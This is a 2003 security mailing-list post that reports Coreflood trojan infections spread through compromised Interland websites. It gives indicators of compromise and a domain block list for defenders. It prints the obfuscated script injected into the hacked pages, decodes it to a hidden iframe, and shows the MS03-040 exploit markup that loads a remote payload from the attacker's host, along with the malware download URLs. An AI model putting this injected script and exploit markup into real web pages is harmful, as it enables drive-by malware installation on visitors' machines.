RE: New Trojan

From: James C. Slora, Jr. (james.slora_at_phra.com)
Date: 10/30/03

  • Next message: Jeff Kell: "Re: Large increase in port 27347"
    Date: Thu, 30 Oct 2003 16:19:09 -0500
    To: <incidents@securityfocus.com>
    
    

    Rejected by the moderator last time I tried to post on this topic. New
    backdoor.coreflood infections today from the same name string. This time
    ftp.goling2003.com at IP 66.98.178.33, wvw.goling2003.com at
    216.40.230.17 and vvv.goling2003.com at 216.40.230.17.

    wvw.goling2003.com was again the source of the infection.

    Downloads:
    http://vvv.goling2003.com:53/stop.bat
    http://vvv.goling2003.com:53/inf.ooo
    ftp.goling2003.com/ap216.exe (different type of log - URL may be
    incomplete)

    I DO think that the "goling" and "chinesenaming" strings are
    persistently relevant, and are not mere one-time distractions.

    Block
    *.goling.com
    *.goling2003.com
    *.chinesenaming.com

    Not a comprehensive list, but these are the ones I have seen repeatedly.

    IP addresses are irrelevant for blocking purposes. They have changed
    several times.

    There have been at least three mass compromises of Interland sites, and
    all three times the Coreflood author has redirected to sites with these
    types of names. The code changes, the exploit changes, and the IP
    addresses change - but he loves his aliases. They seem to be preferred
    signature strings of the author. Failing to find these strings in logs
    does not mean you are safe, but finding them gives you a reason to
    worry.

    Yet again today, a compromised Interland site redirected to the malware
    site. It appended the following script to the end of each page on the
    compromised site:
    <script type="text/javascript">
    document.write("\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u
    0072\u0063\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0077\u0076\u
    0077\u002e\u0067\u006f\u006c\u0069\u006e\u0067\u0032\u0030\u0030\u0033\u
    002e\u0063\u006f\u006d\u002f\u006d\u0061\u0069\u006e\u002e\u0068\u0074\u
    006d\u006c\u0020\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0030\u0020\u
    0068\u0065\u0069\u0067\u0068\u0074\u003d\u0030\u0020\u0066\u0072\u0061\u
    006d\u0065\u0062\u006f\u0072\u0064\u0065\u0072\u003d\u0030\u0020\u006d\u
    0061\u0072\u0067\u0069\u006e\u0077\u0069\u0064\u0074\u0068\u003d\u0030\u
    0020\u006d\u0061\u0072\u0067\u0069\u006e\u0068\u0065\u0069\u0067\u0068\u
    0074\u003d\u0030\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u
    003e");
    </script>

    IE is bright enough to run the script even though it comes after the
    </HTML> tag.

    The Unicode string is just ASCII expressed as Unicode. It converts to
    hex:
    %3c%69%66%72%61%6d%65%20%73%72%63%3d%68%74%74%70%3a%2f%2f%77%76%77%2e%67
    %6f%6c%69%6e%67%32%30%30%33%2e%63%6f%6d%2f%6d%61%69%6e%2e%68%74%6d%6c%20
    %20%77%69%64%74%68%3d%30%20%68%65%69%67%68%74%3d%30%20%66%72%61%6d%65%62
    %6f%72%64%65%72%3d%30%20%6d%61%72%67%69%6e%77%69%64%74%68%3d%30%20%6d%61
    %72%67%69%6e%68%65%69%67%68%74%3d%30%3e%3c%2f%69%66%72%61%6d%65%3e

    Which converts to:
    <iframe src=http://wvw.goling2003.com/main.html width=0 height=0
    frameborder=0 marginwidth=0 marginheight=0></iframe>
    Just your basic iframe, invoked by a script.

    But that page does use an exploit fixed in MS03-040 to force
    installation of arbitrary code:
    <span
    datasrc="#oa"
    datafld="ea"
    dataformatas="html">
    </span>
    <xml id="oa">
    <se>
    <ea>
    <![CDATA[
    <object
    data="http://vvv.goling2003.com:53/inf.ooo" width=0 height=0>
    </object>
    ]]>
    </ea>
    </se>
    </xml>

    > -----Original Message-----
    > From: James C. Slora, Jr.
    > Sent: Monday, October 27, 2003 4:32 PM
    > To: 'incidents@securityfocus.com'
    > Subject: RE: New Trojan
    >
    >
    > John Tran wrote:
    > > Was this trojan discuss in Microsoft Security Bulletins?
    > If so what number
    > > or KB?
    >
    > Coreflood variants have been installed by visiting
    > compromised Web sites using exploits fixed in MS03-040 and
    > MS03-032. I'm sure there are many other vectors of infection.
    >
    > Visits to sites whose names contain the strings
    > "chinesenaming" or "goling" are particularly suspect as
    > sources of infection. These strings (and maybe others too)
    > were used in redirects from hacked Interland sites in
    > September and October.
    >
    > 216.247.117.225 was the most recent IP address I've seen
    > associated with the hostile sites.
    >
    >

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  • Next message: Jeff Kell: "Re: Large increase in port 27347"

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